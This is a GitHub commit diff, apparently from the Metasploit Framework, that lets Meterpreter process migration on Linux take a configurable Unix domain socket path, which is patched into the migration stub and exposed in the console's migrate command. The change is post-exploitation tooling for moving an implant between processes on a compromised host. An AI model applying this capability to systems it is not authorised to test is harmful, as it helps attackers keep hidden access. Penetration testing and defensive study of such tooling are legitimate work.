Skip to content

Commit f17a7e8

Browse files
jvazquez-r7Brent Cook
authored andcommitted
Better handling of the unix domain socket argument
1 parent 4df4e8b commit f17a7e8

File tree

2 files changed

+37
-12
lines changed

2 files changed

+37
-12
lines changed

lib/rex/post/meterpreter/client_core.rb

Lines changed: 27 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -180,7 +180,7 @@ def use(mod, opts = { })
180180
# Migrates the meterpreter instance to the process specified
181181
# by pid. The connection to the server remains established.
182182
#
183-
def migrate( pid )
183+
def migrate(pid, socket_path="/tmp/meterpreter.sock")
184184
keepalive = client.send_keepalives
185185
client.send_keepalives = false
186186
process = nil
@@ -204,8 +204,9 @@ def migrate( pid )
204204
raise RuntimeError, "Cannot migrate into non existent process", caller
205205
end
206206

207-
# We cant migrate into a process that we are unable to open
208-
if process['arch'].nil? or process['arch'].empty?
207+
# We can't migrate into a process that we are unable to open
208+
# On linux, arch is empty even if we can access the process
209+
if client.platform =~ /win/ && (process['arch'] == nil || process['arch'].empty?)
209210
raise RuntimeError, "Cannot migrate into this process (insufficient privileges)", caller
210211
end
211212

@@ -214,7 +215,21 @@ def migrate( pid )
214215
raise RuntimeError, "Cannot migrate into current process", caller
215216
end
216217

217-
blob = generate_payload_stub(client, process)
218+
if client.platform =~ /linux/
219+
if socket_path.blank?
220+
socket_path = "/tmp/meterpreter.sock"
221+
end
222+
223+
socket_dir = ::File.dirname(socket_path)
224+
stat_dir = client.fs.filestat.new(socket_dir)
225+
226+
unless stat_dir.directory?
227+
raise RuntimeError, "Directory #{socket_dir} not found", caller
228+
end
229+
# Rex::Post::FileStat#writable? isn't available
230+
end
231+
232+
blob = generate_payload_stub(client, process, socket_path)
218233

219234
# Build the migration request
220235
request = Packet.create_request( 'core_migrate' )
@@ -231,7 +246,7 @@ def migrate( pid )
231246
ep = elf_ep(blob)
232247
request.add_tlv(TLV_TYPE_MIGRATE_BASE_ADDR, 0x20040000)
233248
request.add_tlv(TLV_TYPE_MIGRATE_ENTRY_POINT, ep)
234-
request.add_tlv(TLV_TYPE_MIGRATE_SOCKET_PATH, "/tmp/meterpreter.secret", false, client.capabilities[:zlib])
249+
request.add_tlv(TLV_TYPE_MIGRATE_SOCKET_PATH, socket_path, false, client.capabilities[:zlib])
235250
end
236251

237252
# Send the migration request (bump up the timeout to 60 seconds)
@@ -329,12 +344,12 @@ def shutdown
329344

330345
private
331346

332-
def generate_payload_stub(client, process)
347+
def generate_payload_stub(client, process, socket_path)
333348
case client.platform
334349
when /win/i
335350
blob = generate_windows_stub(client, process)
336351
when /linux/i
337-
blob = generate_linux_stub("/tmp/meterpreter.secret")
352+
blob = generate_linux_stub(socket_path)
338353
else
339354
raise RuntimeError, "Unsupported platform '#{client.platform}'"
340355
end
@@ -391,12 +406,16 @@ def generate_windows_stub(client, process)
391406
end
392407

393408
def generate_linux_stub(socket_path)
409+
pos = nil
394410
file = ::File.join(Msf::Config.data_directory, "meterpreter", "msflinker_linux_x86.bin")
395411
blob = ::File.open(file, "rb") {|f|
396412
f.read(f.stat.size)
397413
}
398414

399-
pos = blob.index("/tmp/meterpreter.sock")
415+
unless socket_path.blank?
416+
pos = blob.index("/tmp/meterpreter.sock")
417+
end
418+
400419
unless pos.nil?
401420
blob[pos, socket_path.length + 1] = socket_path + "\x00"
402421
end

lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb

Lines changed: 10 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -69,7 +69,7 @@ def commands
6969
# whatever reason it is not adding core_migrate to its list of commands.
7070
# Use a dumb platform til it gets sorted.
7171
#if client.commands.include? "core_migrate"
72-
if client.platform =~ /win/
72+
if client.platform =~ /win/ || client.platform =~ /linux/
7373
c["migrate"] = "Migrate the server to another process"
7474
end
7575

@@ -321,7 +321,11 @@ def cmd_irb(*args)
321321
end
322322

323323
def cmd_migrate_help
324-
print_line "Usage: migrate <pid>"
324+
if client.platform =~ /linux/
325+
print_line "Usage: migrate <pid> [af_unix_socket_path]"
326+
else
327+
print_line "Usage: migrate <pid>"
328+
end
325329
print_line
326330
print_line "Migrates the server instance to another process."
327331
print_line "NOTE: Any open channels or other dynamic state will be lost."
@@ -331,7 +335,8 @@ def cmd_migrate_help
331335
#
332336
# Migrates the server to the supplied process identifier.
333337
#
334-
# @param args [Array<String>] Commandline arguments, only -h or a pid
338+
# @param args [Array<String>] Commandline arguments, -h or a pid. On linux
339+
# platforms a path for the unix domain socket used for IPC.
335340
# @return [void]
336341
def cmd_migrate(*args)
337342
if ( args.length == 0 or args.include?("-h") )
@@ -344,6 +349,7 @@ def cmd_migrate(*args)
344349
print_error("A process ID must be specified, not a process name")
345350
return
346351
end
352+
socket_path = (args.length >= 2) ? args[1] : "/tmp/meterpreter.sock"
347353

348354
begin
349355
server = client.sys.process.open
@@ -385,7 +391,7 @@ def cmd_migrate(*args)
385391
server ? print_status("Migrating from #{server.pid} to #{pid}...") : print_status("Migrating to #{pid}")
386392

387393
# Do this thang.
388-
client.core.migrate(pid)
394+
client.core.migrate(pid, socket_path)
389395

390396
print_status("Migration completed successfully.")
391397

0 commit comments

Comments
 (0)